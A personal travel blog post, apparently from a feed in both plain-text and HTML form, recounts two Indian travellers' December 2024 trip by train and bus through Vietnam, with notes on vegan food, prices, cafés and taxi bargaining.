Unlike Indian trains, the train didn’t have side berths. Additionally, I liked the fact that it had a dedicated space to put our bags in, which was very convenient. The train departed from Ho Chi Minh City at 21:05 and arrived in Nha Trang at 05:30 in the morning.

      
Interior of our train coach. Trains in Vietnam don’t have side berths, unlike India. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

      
A picture of the berths from our coach. It had three tiers, similar to a 3 AC coach in Indian trains. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

      
The train had a cabin to put the bags in. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

      
Nha Trang train station. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.
Nha Trang
Nha Trang is a coastal place, and we planned to go to a beach. We figured out that the bus to the airport goes can drop us near the beach. Therefore, we went to the bus station to get to the airport bus. The bus station was walking distance from the railway station. So, we decided to walk.
On the way, we stopped at a small shop for a coffee. The shop also gave a complimentary cup of green tea along with the coffee. I found out later that it is common for local shops to give a cup of complimentary green tea in Vietnam.

      
I got a complimentary cup of green tea along with coffee in Nha Trang. In this trip, Badri and I found out that this is customary at local places in Vietnam. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.
Soon we reached the bus station and took a bus to the beach. It was 65,000 dongs (₹200). After getting down from the bus, I had coconut water and some eggs at a small local place.

      
Eggs being cooked on a pan for my order. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.
Then we went to the beach, but nobody else was there. We spent some time there and went back to the place where the bus dropped us as it started raining. We couldn’t find a bus for some time. A taxi driver approached us and agreed to take us to the city center for 200,000 dongs (₹650). For reference, the place where he dropped us was 35 km from the place we took the taxi. Taxi fares in Vietnam were also cheap!

      
The beach we went to in Nha Trang. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.
Nha Trang was a beautiful place, and so we roamed around for a while. Then we stopped at a Highlands Coffee branch for a while. Since Christmas was coming up, the café had a Christmas tree, and I liked the Christmas vibes. They were playing Mariah Carey’s All I Want for Christmas Is You.

      
This one was shot in the city center. In this trip, Badri and I found out that this is customary at local places in Vietnam. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

      
Inside a Highlands Coffee cafe in Nha Trang. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

      
A coffee I got from Highlands Coffee in Nha Trang. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.
During the evening, we went to a local place to eat. The place mentioned “Chay” in its name, and you know what it means—it was a vegan place. There was a man there and no other customers. I don’t remember the names of the dishes we ordered, but it was a bowl of soupy noodles and a bowl of dry noodles. They were very tasty. To top that off, the meal was a total of 55,000 dongs (₹180) for both of us.
The host was welcoming and friendly. We had a nice conversation with the host. In Vietnam, restaurants give chopsticks to eat noodles. While Badri was good at using them, I wasn’t. So, the host of this restaurant helped me in using chopsticks. Although my technique was not perfect and I take a bit of time, I could now eat solely with chopsticks.

      
The restaurant we went to in Nha Trang. The word Chay in the name means it was a vegan restaurant. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

      
Soupy noodles we got at that restaurant. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

      
Dry noodles we got at that restaurant. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.
Our plan was to take a night bus to Hoi An, and we were hoping to find a bus stand. However, we couldn’t find one. Asking around about the pickup location of the Hoi An bus led us to many different locations. Finally, we ended up at a bus booking agency’s office where we found out that there were no tickets available for Hoi An.
At this point, we gave up on booking the bus and searched for trains instead. As we didn’t have a local SIM, we asked the agency to let us connect to their Wi-Fi so that we could look for trains. They were kind enough to let us do that. It also seemed like they were going to close the office in like 10 minutes.
Unfortunately, all the sleeper berths were booked from Nha Trang till Hoi An on the next train with only seating berths being available. It takes around 10 hours, so I wasn’t comfortable traveling on seating berths.
Here I came up with the idea to look for sleeper berths from an intermediate stop. Fortunately, there were sleeper berths available from the next stop, Ninh Hòa. Therefore, we booked a seating berth from Nha Trang to Ninh Hòa and a sleeper berth from Ninh Hòa to Trà Kiệu (the nearest railway station from Hoi An). The train name was SE6, and it was a total of 500,000 dongs per person (₹1600 per person).
So, we went to the Nha Trang railway station and boarded the train. We had to spend 40 minutes seated for the train to reach the next stop before we could go to our sleeper berths. Badri had some friendly co-passengers on that trip who gave him Saigon beer and some crispy papad-like thing. They offered me as well, but I thought it was non-veg, so I declined it.
Hoi An
On the morning of 17th December 2024, we got down at the Trà Kiệu station at around 09:30. Our hostel was in Hoi An, which was around 22 km from the station. There was no public transport to get there.
Instead, there was a taxi driver at the train platform. We told him the name of our hostel, and he quoted 270,000 dongs (around ₹850). We said it was too expensive for us, so he agreed to bargain at 250,000 dongs. At this point, we told him that we could give him no more than 200,000 dongs, but he didn’t agree.
Badri tried a trick. He asked the driver to show us prices in the Grab app (a popular taxi booking app in Southeast Asia). Unfortunately, the Grab app showed 258,000 dongs, which was more than the fare the driver agreed to.
So we walked away as if we had so many options (we didn’t!) to reach the hostel. We got out of the station and stopped at a small shop outside to have some coffee. As is customary in Vietnam, we got a complimentary green tea here as well.

      
This was the place we had our coffee in Tra Kieu. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.
That taxi driver also joined us and sat in that shop. He started talking with the locals in the shop in the local language. The taxi driver was insistent on taking us to Hoi An for 250,000 dongs. At this point, Badri told the taxi driver (by the use of translation software) that we usually use public transport during our trips, and we aren’t used to paying high prices to get around. So, he can drop us somewhere in Hoi An for 200,000 dongs as we don’t mind walking a bit to reach our hotel.
After reading this, the taxi driver agreed to take us to our hostel for 200,000 dongs (₹660). He also had me take a picture with Badri after this. I think such a bargain tactic would not work in India.

      
Photo of Badri with taxi driver. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.
The nice thing we noticed in Vietnam is, once bargaining is done and the deal is settled, people don’t try to bargain more or keep on talking about the subject. Before the deal, the driver was being somewhat insistent and argumentative, but after the deal was done, it was as if no argument had happened at all.

      
A picture of Tra Kieu area near the train station we got down at. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.
We were treated to some beautiful scenery on the way to our hostel. Soon we reached our place and completed all the formalities for checking-in. During the time our room was being prepared for check-in, we had an egg sandwich with coffee in the hotel. I found the egg sandwich very tasty. The bread looked like the French baguette. The hostel was ₹240 per night for each of us.
The name of the hostel was Bana Spa. We liked staying here and we can recommend it if you find yourself there. It is operated by a family.

      
Our breakfast in Hoi An. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

      
A photo of the hostel we stayed in Hoi An. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.
We also rented a bicycle for each of us—25,000 dongs per day (₹80)—and explored the old town during the evening. Hoi An is popular for Vietnamese silk. Tourists come here to buy fabric and get it done by the tailor. The buildings here looked old, and they were painted in yellow with a gabled roof.

      
Typical yellow house with gabled roof in Hoi An old town. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.
Here, I also had egg coffee for the first time, and I liked it. Egg coffee is a delicacy of Hanoi, but you can get it in other parts of Vietnam. If you find yourself in Vietnam, then I recommend you try egg coffee. We also bought some cool T-shirts and other souvenirs, such as a Vietnamese hat, from here.

      
Egg coffee I had in Hoi An. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.
Hue
The next day—the 18th of December 2024—we went to Hue by bus. As we could not take a bus on our own in Nha Trang, we asked the hostel to book it for us this time. We booked it a day before, and they told us to be ready by 07:00 in the morning. At 07:00, a minibus arrived, which took us to a bus agency’s office. There we waited for a few minutes and got into the bus to Hue.
The bus had sleeper seats, so I took the opportunity to catch some sleep. The ride was comfortable, so I am assuming the roads were good. In a couple of hours, we reached Hue. Again, we went to Highlands Coffee to have some coffee, charge our phones, and use the internet, not to mention using the bathrooms.
During the afternoon, we went to a local restaurant named Quán Chay Thanh Liễu. It was a vegan restaurant (remember the thing I mentioned earlier about “Chay” being in the name?). On the way, we had a steamed dumpling shaped like a momo called banh bao from a street vendor. It wasn’t very good, but I found it worthwhile.

      
Bahn Bao in Hue. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.
At the restaurant, we ordered a hot pot. First, they brought noodles and a gas stove. Then came the stock and our gas stove was turned on. The stock was kept simmering on the stove. Then, we had it bit by bit with the noodles. A big hot pot at this place costs 50,000 dongs (₹170). Then we had bánh cuốn. These were steamed rolls made of rice flour for 10,000 dongs (₹33).

      
Hot Pot. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

      
Added soup to the noodles. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

      
Steamed rolls made of rice flour. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.
Restaurants in Vietnam usually add photos of the meals in their menu or write a description in English. So, even though the dish names were Vietnamese, we had no problems in ordering food there. In addition, all the places we went to provided free Wi-Fi. They either mention the Wi-Fi password on the bill, on the menu or paste it on the wall. This made our trip smoother without getting a local SIM.

      
Menu from a restaurant in Ho Chi Minh City with detailed description of the food. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.
We had booked the train SE20 for Hanoi, which had a departure time of 20:41 from Hue. This one was 948,000 dongs (₹3100) for myself and 870,000 dongs (₹2900) for Badri. My ticket was pricier than Badri’s because I got a lower berth. Our train was late by half an hour, so we waited in the common area of the station. After the train arrived, we got inside and took our seats.
The cabin had four berths—two upper and two lower, similar to India’s First AC class. The ticket inspector came to us and offered us the whole cabin (two additional berths) for 300,000 dongs (₹1,000), which we declined. However, this hinted at the other two seats not being reserved. Eventually, we had the whole cabin to ourselves, as nobody else showed up for the other two berths. It was a 14-hour journey, and I got a good sleep.

      
Our berths in the train. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.
Hanoi
On the morning of the 19th of December 2024, we reached Vietnam’s capital, Hanoi. We had booked a private hotel room for ₹800. It was 1 km from the Hanoi Airport. However, it was pretty far from the railway station. So, we roamed around in the city and went to the hotel in the evening.
First, we walked to a place and had egg coffee with egg sandwiches. Then we went to Hanoi Train Street, which was walking distance from the train station. After clicking some pictures at the train street, we went to a museum nearby. Upon reaching there, we found out that it was closed.

      
Egg coffee in Hanoi. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

      
Hanoi train street is a tourist attraction in Hanoi. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.
Then we went shopping for jackets, as Hanoi was cold compared to other parts of Vietnam we had been to, and since many of them are manufactured in Vietnam, we thought they would be cheaper. I liked some jackets, but they were not my size. Eventually, we didn’t buy anything at the clothes shop.
In the evening, I bought a Vietnamese-styled phin coffee filter and coffee powder from Highlands Coffee. We spent a lot of time in their cafes, so it made sense to buy some souvenirs from there. Badri bought a few coffee filters for his family at Trung Nguyen, where I also bought another filter.
We had dinner at a local place where we had pho and banh it. Bahn it was served packed in banana leaves and it was made of sticky rice.

      
A picture of pho we had in Hanoi. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

      
Bahn it is served packed in banana leaves. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

      
Bahn it. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.
Next, we went to Hanoi railway station to catch a bus to the airport since our hotel was 1 km from the airport. The locals there helped us take the bus. It took like an hour to get to the airport. We saw on OpenStreetMap that we can take a bus from there to the hotel, but we could not find it. So we walked to our hotel instead.
It was a decent hotel room for ₹800 for a night. We went outside to explore the area and had egg sandwiches and egg coffee at a local place. Again, we were given a complimentary green tea. We went to this place like three times. We had practically become regulars by the time we left.
The next day— 20th of December 2024 — we took a bus to the airport and boarded our flight to Delhi.
Credits: Thanks Badri, Kishy and Richard for proofreading.]]></description>
            <content:encoded><![CDATA[<h2 id="before-reaching-vietnam">Before reaching Vietnam</h2>
<p>Continuing from the last post, Badri and I took a flight from the Brunei International Airport to Kuala Lumpur on the 12th of December 2024. We reached Kuala Lumpur in the evening.</p>
<p>After arriving at the airport, we went through immigration. In a previous post, I mentioned that we had put our stuff in lockers at the TBS bus terminal in Kuala Lumpur. Therefore, we had to go there.</p>
<p>The locker was automated and required us to enter the PIN we had set. Upon entering the PIN, the locker wasn’t getting unlocked. After trying this for 10-15 minutes without any luck, we tried getting some help as there the lockers weren&rsquo;t under supervision.</p>
<p>So, I roamed around and found a staff member, reporting that our lockers weren’t getting unlocked. They called the person who was in-charge of the lockers. He came to us in a few minutes and used their admin access to open the locker. We were supposed to pay for using the lockers by putting the banknotes inside through a slot. However, as the machine wasn&rsquo;t working, we gave the amount for the use of our locker service to that person instead.</p>
<p>We soon went back to the KL airport to catch our morning flight to Ho Chi Minh City in Vietnam. At the flight counter, we were afraid we would have to pay extra as our luggage surpassed the allowed weight limit. This one was also a budget airline—AirAsia—and our tickets didn’t include a check-in bag.</p>
<p>Generally, passengers from countries requiring a visa to visit Vietnam (such as India) require going to the airline and showing their visa to get the boarding pass. However, when we went to the AirAsia counter at the Kuala Lumpur airport, they didn’t weigh our bags and asked us to get our boarding passes from an automated kiosk. So, we got our boarding passes printed and proceeded to the airport security.</p>
<p>While clearing the airport security, a lotion I bought from Singapore was confiscated because it was 200 mL, exceeding the limit of 100 mL per bottle. Had that 200 mL liquid been in two different bottles of 100 mL each, I would have been allowed to take it in my carry-on bag, but a single 200 mL bottle wasn’t! I was allowed to keep it in the check-in bag, but I didn’t have it included in my ticket. Huh, airports and their weird rules :( The lotion was an expensive one, so having it thrown away did ruin my mood.</p>
<h2 id="overview">Overview</h2>
<p>We started our Vietnam trip from Ho Chi Minh City in the south on the 13th of December 2024 and finished it in Hanoi in the north on the 20th of December. We traveled from Ho Chi Minh City to Hanoi mostly by train, except for a hundred or so kilometers by bus, in chunks. On the way, we visited Nha Trang, Hoi An, and Hue. The distance between Ho Chi Minh City and Hanoi is 1700 km.</p>
<p>For your reference, here are those places labeled on Vietnam&rsquo;s map.</p>
<figure><img src="https://ravidwivedi.in/images/vietnam/map.png"
    alt="Vietnam map with Ho Chi Minh City, Nha Trang, Hoi An, Hue and Hanoi labeled." width="300"><figcaption>
      <p>A map of Vietnam with points of places we went to labeled. ©CARTO ©MAPTILER ©OPENSTREETMAP</p>
    </figcaption>
</figure>

<h2 id="ho-chi-minh-city">Ho Chi Minh City</h2>
<p>We landed in Ho Chi Minh City early morning on the 13th of December 2024. I was tired and sleepy as I hadn&rsquo;t gotten a good night&rsquo;s sleep. After going through immigration, we went to a currency exchange counter to get Vietnamese Dong. Unlike other countries on this trip, money exchange counters in Vietnam didn&rsquo;t accept Indian rupees. Therefore, we exchanged euros to get Vietnamese dong at the airport.</p>
<p>After getting out of the airport, we took a bus to the city center. It was 15,000 dongs—approximately 50 Indian rupees. Our plan was to meet Badri&rsquo;s friend and stay the night at his apartment.</p>
<p>So we went to a café nearby and bought a coffee for each of us for 75,000 dongs. We went upstairs and sat for a while. The Wi-Fi password was mentioned on our bill. During the trip, I found out about the café culture of Vietnam. They have their own coffee brands (such as Highlands Coffee), and you can sit down at any of the cafés for work or wait for the rain to stop. It rained a lot while we were there, so we did use these cafés for that purpose.</p>
<p>Badri&rsquo;s friend met us there, and we roamed around the area a bit, which included roaming inside a beautiful park. Then Badri&rsquo;s friend took us to a restaurant. Because I do not eat meat, he took us to a vegan restaurant. Having been to four Southeast Asian countries at this point (excluding Vietnam), I was under the impression that there wouldn&rsquo;t be a lot of things for my diet in Vietnam.</p>
<figure><img src="https://ravidwivedi.in/images/vietnam/park.avif"
    alt="A picture of the park we roamed around in Ho Chi Minh City."><figcaption>
      <p>A picture of the park we roamed around in Ho Chi Minh City. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>However, I was pleasantly surprised at the restaurant. I found all the dishes to be tasty, especially their signature noodles called Pho. I liked another dish so much that I tracked down the restaurant again with Badri using the geotagged image of the bill I had taken earler to have it again. As a tip for vegans coming to Vietnam, the places having the letters &ldquo;Chay&rdquo; (without any accented letters) in their name are vegan only.</p>
<figure><img src="https://ravidwivedi.in/images/vietnam/restaurant-hcmc.avif"
    alt="A building"><figcaption>
      <p>This is the restaurant Badri&rsquo;s friend took us to. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/vietnam/food1.avif"
    alt="An item in the restaurant"><figcaption>
      <p>One of the dishes we had in the restaurant. This one was especially tasty. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/vietnam/food2.avif"
    alt="One of the dishes we had in the restaurant. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>One of the dishes we had in the restaurant. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/vietnam/food3.avif"
    alt="Noodles in a bowl dipped in soup"><figcaption>
      <p>These noodles are called Pho and are very popular in Vietnam. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>In the night, we went to a supermarket where I got myself some oranges and guavas. Then, we went to a Japanese restaurant where I didn&rsquo;t have anything, as there was no vegetarian option available for me. Then we took a free bus to the place to Badri&rsquo;s friend&rsquo;s apartment. The construction company that built the apartment also runs this free bus service from their residential area to different parts of the city as a way of promoting their apartments. Anyone can take the bus, not just residents.</p>
<p>The next day, we took the free bus back to the city center and checked in to a hostel for a night. We took two beds in dormitories, which were 88,000 dongs (270 rupees) for each bed for a night. In Vietnam, if you can spend around 300 rupees per night, you can get a bed in a decent hostel.</p>
<h2 id="train-from-ho-chi-minh-city-to-nha-trang">Train from Ho Chi Minh City to Nha Trang</h2>
<p>On the night of the 15th of December 2024, we boarded a train from Ho Chi Minh City to Nha Trang. The ticket for each of us was 519,000 dongs (1600 Indian rupees). The train name was SNT2. When we reached the Ho Chi Minh City train station, we noticed that the station was rather small by Indian standards.</p>
<p>After entering the train station, we went inside to the first platform, where the tickets were checked by a staff member. Ho Chi Minh City was the originating station for our train, so our train was already standing at the station. We had to cross the railway tracks on foot to reach the platform our train was on. Then we located our coach, where a ticket inspector was standing at the gate. He let us in after checking our tickets. In all these instances, we just had to show our digital boarding pass which we had received by email.</p>
<p>Unlike Indian trains, the train didn&rsquo;t have side berths. Additionally, I liked the fact that it had a dedicated space to put our bags in, which was very convenient. The train departed from Ho Chi Minh City at 21:05 and arrived in Nha Trang at 05:30 in the morning.</p>
<figure><img src="https://ravidwivedi.in/images/vietnam/interior1.avif"
    alt="Interior of our train coach. Trains in Vietnam don&amp;rsquo;t have side berths, unlike India. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>Interior of our train coach. Trains in Vietnam don&rsquo;t have side berths, unlike India. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/vietnam/berths.avif"
    alt="A picture of the berths from our coach. It had three tiers, similar to a 3 AC coach in Indian trains. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>A picture of the berths from our coach. It had three tiers, similar to a 3 AC coach in Indian trains. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/vietnam/bag-cabin.avif"
    alt="The train had a cabin to put the bags in. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>The train had a cabin to put the bags in. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/vietnam/nha-trang-train-station.avif"
    alt="Nha Trang train station. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>Nha Trang train station. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<h2 id="nha-trang">Nha Trang</h2>
<p>Nha Trang is a coastal place, and we planned to go to a beach. We figured out that the bus to the airport goes can drop us near the beach. Therefore, we went to the bus station to get to the airport bus. The bus station was walking distance from the railway station. So, we decided to walk.</p>
<p>On the way, we stopped at a small shop for a coffee. The shop also gave a complimentary cup of green tea along with the coffee. I found out later that it is common for local shops to give a cup of complimentary green tea in Vietnam.</p>
<figure><img src="https://ravidwivedi.in/images/vietnam/coffee-with-green-tea-in-nha-trang.avif"
    alt="A cup of coffee and a cup of green tea."><figcaption>
      <p>I got a complimentary cup of green tea along with coffee in Nha Trang. In this trip, Badri and I found out that this is customary at local places in Vietnam. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>Soon we reached the bus station and took a bus to the beach. It was 65,000 dongs (₹200). After getting down from the bus, I had coconut water and some eggs at a small local place.</p>
<figure><img src="https://ravidwivedi.in/images/vietnam/eggs-being-cooked.avif"
    alt="Eggs on a pan."><figcaption>
      <p>Eggs being cooked on a pan for my order. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>Then we went to the beach, but nobody else was there. We spent some time there and went back to the place where the bus dropped us as it started raining. We couldn&rsquo;t find a bus for some time. A taxi driver approached us and agreed to take us to the city center for 200,000 dongs (₹650). For reference, the place where he dropped us was 35 km from the place we took the taxi. Taxi fares in Vietnam were also cheap!</p>
<figure><img src="https://ravidwivedi.in/images/vietnam/nha-trang-beach.avif"
    alt="The beach we went to in Nha Trang. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>The beach we went to in Nha Trang. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>Nha Trang was a beautiful place, and so we roamed around for a while. Then we stopped at a Highlands Coffee branch for a while. Since Christmas was coming up, the café had a Christmas tree, and I liked the Christmas vibes. They were playing Mariah Carey&rsquo;s All I Want for Christmas Is You.</p>
<figure><img src="https://ravidwivedi.in/images/vietnam/nha-trang-beautiful.avif"
    alt="This one was shot in the city center. In this trip, Badri and I found out that this is customary at local places in Vietnam. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>This one was shot in the city center. In this trip, Badri and I found out that this is customary at local places in Vietnam. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/vietnam/highlands-coffee-nha-trang.avif"
    alt="Inside a Highlands Coffee cafe in Nha Trang. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>Inside a Highlands Coffee cafe in Nha Trang. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/vietnam/coffee-in-highlands-nha-trang.avif"
    alt="A coffee I got from Highlands Coffee in Nha Trang. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>A coffee I got from Highlands Coffee in Nha Trang. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>During the evening, we went to a local place to eat. The place mentioned &ldquo;Chay&rdquo; in its name, and you know what it means—it was a vegan place. There was a man there and no other customers. I don&rsquo;t remember the names of the dishes we ordered, but it was a bowl of soupy noodles and a bowl of dry noodles. They were very tasty. To top that off, the meal was a total of 55,000 dongs (₹180) for both of us.</p>
<p>The host was welcoming and friendly. We had a nice conversation with the host. In Vietnam, restaurants give chopsticks to eat noodles. While Badri was good at using them, I wasn&rsquo;t. So, the host of this restaurant helped me in using chopsticks. Although my technique was not perfect and I take a bit of time, I could now eat solely with chopsticks.</p>
<figure><img src="https://ravidwivedi.in/images/vietnam/sala-chay-restaurant.avif"
    alt="The restaurant we went to in Nha Trang. The word Chay in the name means it was a vegan restaurant. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>The restaurant we went to in Nha Trang. The word Chay in the name means it was a vegan restaurant. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/vietnam/soupy-noodles-nha-trang.avif"
    alt="Soupy noodles we got at that restaurant. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>Soupy noodles we got at that restaurant. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/vietnam/dry-noodles-nha-trang.avif"
    alt="Dry noodles we got at that restaurant. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>Dry noodles we got at that restaurant. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>Our plan was to take a night bus to <a href="https://en.wikivoyage.org/wiki/Hoi_An">Hoi An</a>, and we were hoping to find a bus stand. However, we couldn&rsquo;t find one. Asking around about the pickup location of the Hoi An bus led us to many different locations. Finally, we ended up at a bus booking agency&rsquo;s office where we found out that there were no tickets available for Hoi An.</p>
<p>At this point, we gave up on booking the bus and searched for trains instead. As we didn&rsquo;t have a local SIM, we asked the agency to let us connect to their Wi-Fi so that we could look for trains. They were kind enough to let us do that. It also seemed like they were going to close the office in like 10 minutes.</p>
<p>Unfortunately, all the sleeper berths were booked from Nha Trang till Hoi An on the next train with only seating berths being available. It takes around 10 hours, so I wasn&rsquo;t comfortable traveling on seating berths.</p>
<p>Here I came up with the idea to look for sleeper berths from an intermediate stop. Fortunately, there were sleeper berths available from the next stop, Ninh Hòa. Therefore, we booked a seating berth from Nha Trang to Ninh Hòa and a sleeper berth from Ninh Hòa to Trà Kiệu (the nearest railway station from Hoi An). The train name was SE6, and it was a total of 500,000 dongs per person (₹1600 per person).</p>
<p>So, we went to the Nha Trang railway station and boarded the train. We had to spend 40 minutes seated for the train to reach the next stop before we could go to our sleeper berths. Badri had some friendly co-passengers on that trip who gave him Saigon beer and some crispy papad-like thing. They offered me as well, but I thought it was non-veg, so I declined it.</p>
<h2 id="hoi-an">Hoi An</h2>
<p>On the morning of 17th December 2024, we got down at the Trà Kiệu station at around 09:30. Our hostel was in Hoi An, which was around 22 km from the station. There was no public transport to get there.</p>
<p>Instead, there was a taxi driver at the train platform. We told him the name of our hostel, and he quoted 270,000 dongs (around ₹850). We said it was too expensive for us, so he agreed to bargain at 250,000 dongs. At this point, we told him that we could give him no more than 200,000 dongs, but he didn&rsquo;t agree.</p>
<p>Badri tried a trick. He asked the driver to show us prices in the Grab app (a popular taxi booking app in Southeast Asia). Unfortunately, the Grab app showed 258,000 dongs, which was more than the fare the driver agreed to.</p>
<p>So we walked away as if we had so many options (we didn&rsquo;t!) to reach the hostel. We got out of the station and stopped at a small shop outside to have some coffee. As is customary in Vietnam, we got a complimentary green tea here as well.</p>
<figure><img src="https://ravidwivedi.in/images/vietnam/coffee-tra-kieu.avif"
    alt="This was the place we had our coffee in Tra Kieu. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>This was the place we had our coffee in Tra Kieu. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>That taxi driver also joined us and sat in that shop. He started talking with the locals in the shop in the local language. The taxi driver was insistent on taking us to Hoi An for 250,000 dongs. At this point, Badri told the taxi driver (by the use of translation software) that we usually use public transport during our trips, and we aren&rsquo;t used to paying high prices to get around. So, he can drop us somewhere in Hoi An for 200,000 dongs as we don&rsquo;t mind walking a bit to reach our hotel.</p>
<p>After reading this, the taxi driver agreed to take us to our hostel for 200,000 dongs (₹660). He also had me take a picture with Badri after this. I think such a bargain tactic would not work in India.</p>
<figure><img src="https://ravidwivedi.in/images/vietnam/badri-with-taxi-driver.avif"
    alt="Photo of Badri with taxi driver. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>Photo of Badri with taxi driver. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>The nice thing we noticed in Vietnam is, once bargaining is done and the deal is settled, people don&rsquo;t try to bargain more or keep on talking about the subject. Before the deal, the driver was being somewhat insistent and argumentative, but after the deal was done, it was as if no argument had happened at all.</p>
<figure><img src="https://ravidwivedi.in/images/vietnam/tra-kieu.avif"
    alt="A picture of Tra Kieu area near the train station we got down at. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>A picture of Tra Kieu area near the train station we got down at. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>We were treated to some beautiful scenery on the way to our hostel. Soon we reached our place and completed all the formalities for checking-in. During the time our room was being prepared for check-in, we had an egg sandwich with coffee in the hotel. I found the egg sandwich very tasty. The bread looked like the French baguette. The hostel was ₹240 per night for each of us.</p>
<p>The name of the hostel was Bana Spa. We liked staying here and we can recommend it if you find yourself there. It is operated by a family.</p>
<figure><img src="https://ravidwivedi.in/images/vietnam/breakfast-hoi-an.avif"
    alt="Our breakfast in Hoi An. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>Our breakfast in Hoi An. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/vietnam/bana-spa.avif"
    alt="A photo of the hostel we stayed in Hoi An. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>A photo of the hostel we stayed in Hoi An. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>We also rented a bicycle for each of us—25,000 dongs per day (₹80)—and explored the old town during the evening. Hoi An is popular for Vietnamese silk. Tourists come here to buy fabric and get it done by the tailor. The buildings here looked old, and they were painted in yellow with a gabled roof.</p>
<figure><img src="https://ravidwivedi.in/images/vietnam/hoi-an-old-town.avif"
    alt="Typical yellow house with gabled roof in Hoi An old town. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0."><figcaption>
      <p>Typical yellow house with gabled roof in Hoi An old town. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

